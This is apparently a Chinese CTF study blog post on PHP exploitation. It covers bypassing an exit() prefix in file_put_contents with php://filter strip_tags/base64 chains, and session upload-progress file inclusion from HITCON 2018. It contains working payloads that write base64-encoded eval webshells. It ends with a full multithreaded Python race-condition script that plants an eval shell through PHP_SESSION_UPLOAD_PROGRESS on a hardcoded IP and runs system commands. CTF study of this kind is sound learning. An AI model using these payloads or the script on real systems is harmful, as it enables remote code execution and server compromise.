随便看了师傅发的一到题!

<?php
show_source(__FILE__);
chdir("sandbox");
$filename = $_REQUEST['file'];
$data = '<?php exit();?> ' . $filename;
echo $data;
file_put_contents($filename,$data);

关于One-line-php-challenge的思考

p神大佬、!!!!!tql

谈一谈php://filter的妙用

phpinfo with LFI

hitcon2018 One Line PHP Challenge

PHP临时文件机制与利用的思考

N1CTF Easy&&Hard Php Writeup

就这到题来说!:

感觉很不错!!!

学到了!

看懂了看懂了!!

这几天也没干啥!咋感觉折磨忙呢!!!

先来看看这道题:

($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

18年的题!!

很有意思!

可以看到需要一个文件 内容以@<?php开头的文件,然后就可以进行文件包含。

环境以及配置都是默认的Ubuntu18.04+Apache2+PHP7.2

大佬这篇文章很好

file() 函数把整个文件读入一个数组中。

数组中的每个元素都是文件中相应的一行,包括换行符在内。

数组的元素就是每一行的数据!!!

image-20210113222244601

image-20210113222249701

前面也说了:

可以看到需要一个文件 内容以@<?php开头的文件,然后就可以进行文件包含。

这可咋办呢!!又不能上传文件!!、

php里默认可以由用户控制的文件就只有几个

  • 临时上传文件
  • session文件

临时上传文件由/tmp/php[a-zA-z0-9]{6}形式组成,在有phpinfo页面的时候可以进行文件包含

本地文件包含,英文Local File Include,简称LFI。

phpinfo with LFI

这里显然没有这个phpinfo页面,暴力破解的可能性约等于零。

LFI with PHPInfo本地测试过程

PHP LFI 利用临时文件 Getshell 姿势

phpinfo with LFI漏洞分析

当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

利用phpinfo的特性可以很好的帮助我们,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,拿到临时文件变量名之后,就可以进行包含执行我们传入的恶意代码。

image-20210114171105115

简单的说就是:

php里有没有文件上传的点!我们都可以自己构造上传点!然后利用phpinfo里面有临时文件的信息!找到临时文件的位置(包括它的临时文件名)!来getshell,!

其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:

1、请求到达;

2、创建临时文件,并写入上传文件的内容;

3、调用相应PHP脚本进行处理,如校验名称、大小等;

4、删除临时文件。

session文件

然后就是session文件,这里没有开启session,也没有可以控制的session字段。

所以session文件也是无法控制的!这是正常的认为!但是还是可以直接利用的!

正常上传有session的文件:

image-20210114172417055

image-20210114173206938

就是通过控制post输入来getshell!

怎么getshell!

再利用php://filter的妙用!base64解密的知识点!

本题总结

这个题我先总结下:

就是你 你访问一个文件!内容必须以@<?php开头!

这里面用到了好多P神的php://filter的妙用

知识点:
1,这里有个小trick就是,这个session文件并不一定要session_start才能生成,只要往服务器发送一个Cookie: PHPSESSID=xxx的值,然后用session upload的方式进行上传文件,就会生成这样一个session文件

2,session文件里
可以看到sess_kingkk (kingkk是PHPSESSID的值)中有不少值是可以通过改变传入的参数进行控制的,比如文件名、PHP_SESSION_UPLOAD_PROGRESS的值。从而只要插入对应的php代码,在存在文件包含的时候,就可以getshell
这个题重点是:
PHP_SESSION_UPLOAD_PROGRESS的值!

PHP_SESSION_UPLOAD_PROGRESS配合php://filter的妙用 达成getshell!

直接复制大佬的图:

img

img

大佬是直接3次base64解密,直接把
upload_progress_tcy|a:5:{s:10:"start_time";i:1610616657;s:14:"content_length";i:11099;s:15:"bytes_processed";i:5235;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:27:"49O$WZDJ(88(C)`I]EUX}5X.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1610616657;s:15:"bytes_processed";i:0;}}}

upload_progress_ZZ在三次的解码中,第一次解码后留下了四个允许字符hikY,第二次解码没有允许字符,第三次就变成了空。
tcy替换成 ZZ 加上@<?php echo `id`;?>xnkUmPCb的3次base64加密!

就是:ZZVVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIYkd0WlJITXZVRzVvZFdFeFZuUlZSVTVw

再利用条件竞争!这边一边传!那边一边包含!

师傅们太猛了!!!!!!😋

再来看本道题:

<?php
show_source(__FILE__);
chdir("sandbox");
$filename = $_REQUEST['file'];
$data = '<?php exit();?> ' . $filename;
echo $data;
file_put_contents($filename,$data);

考点Bypass file_put_contents Exit

探索php://filter在实战当中的奇技淫巧https://blog.csdn.net/qq_45521281/article/details/106434704

Bypass-不同变量

文章里有!

Bypass-相同变量

https://www.anquanke.com/post/id/202510#h3-18

太猛了!!

# 第一种
<?php exit;

# 第二种
<?php exit; ?>

具体为什么这样构造:

测试

<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>

image-20210114163004955

string.strip_tags这个去掉标签!

把标签带内容也全去掉!

懂了!

因为:string.strip_tags这个东西只要是标签php的html的xml的全部去掉!

像<?php 像这样没有闭合的标签也全部去掉,

先看看第一种:

<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit();'.$a)
?>

image-20210114164559051

image-20210114164609043

# 第二种

第二种:

用到一些更复杂的知识!:

不能直接用第一种了:

image-20210114165532156

这时候相当于:

去标签后 改base64解密的内容:

php://filter/write=string.strip_tags|convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2b/../Qsssssftm.php123

这东西base64解密就不能成功解密出shell!

师傅们真猛!!!!崇拜

关于 ThinkPHP5.0 反序列化链的扩展

先知的一篇文章关于 ThinkPHP5.0 反序列化链的扩展中使用string.trip_tags|convert.base64进行绕过``【重点是构造标签的闭合(闭合特殊字符)->恶意代码的编码->标签的剔除->恶意代码的解码】。

payload:
php://filter/write=string.strip_tags|convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2b/../Qsssssftm.php123

php://filter/%3C|string.strip_tags|convert.base64-decode/resource=%3EPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B/../Qftm.php

php://filter/<|string.strip_tags|convert.base64-decode/resource=>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php


分析下这个payload:

image-20210114170407044

image-20210114170331361

这也tql!!!!

注意:一般特殊字符要url编码!

payload2:
<?php 
$filename = "php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>


php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php
这个也是可以的!

image-20210114171347881

image-20210114171329377

总结:

本来就是没事的时候看到群里师傅问的一道题!

当初看第一眼感觉不是hn! 我还是tcl

这到题让我学到了!

php://filter的妙用。如何逃离死亡(exit)写shell!

还有看orange师傅的这个题!:

让我学到了:

LFI的 利用伪协来寻找 我们可以控制的文件!

  • 临时上传文件 利用phpinfo()文件LFI!
  • session文件

session自动话脚本

https://www.aqniukt.com/article/253

* 是当前 目录 操了!

/* 是根目录upload_progress_CHTB{th4ts_4_w31rd_3xt0rt10n_@#$?} upload_progress_值

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/4/20 11:03
# @Author : upload
# @File : mrctf.py
# @Software: PyCharm

import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('cat *');"}
poy = {
'http': '127.0.0.1:8081'
}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://138.68.168.137:32079', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://138.68.168.137:32079/?f=../../../../../../../../../../../../../tmp/sess_'+sessid,data=data)
print(resp.url)
# print(resp.text)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()